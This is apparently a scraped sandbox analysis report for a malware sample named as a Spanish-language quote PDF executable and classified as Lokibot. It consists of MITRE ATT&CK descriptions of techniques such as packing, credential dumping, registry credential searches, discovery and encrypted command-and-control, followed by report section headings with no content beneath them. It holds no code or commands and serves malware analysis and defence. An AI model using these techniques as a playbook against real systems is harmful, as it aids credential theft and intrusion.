Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Cotizaci#U00f3n-20210803.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Lokibot

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre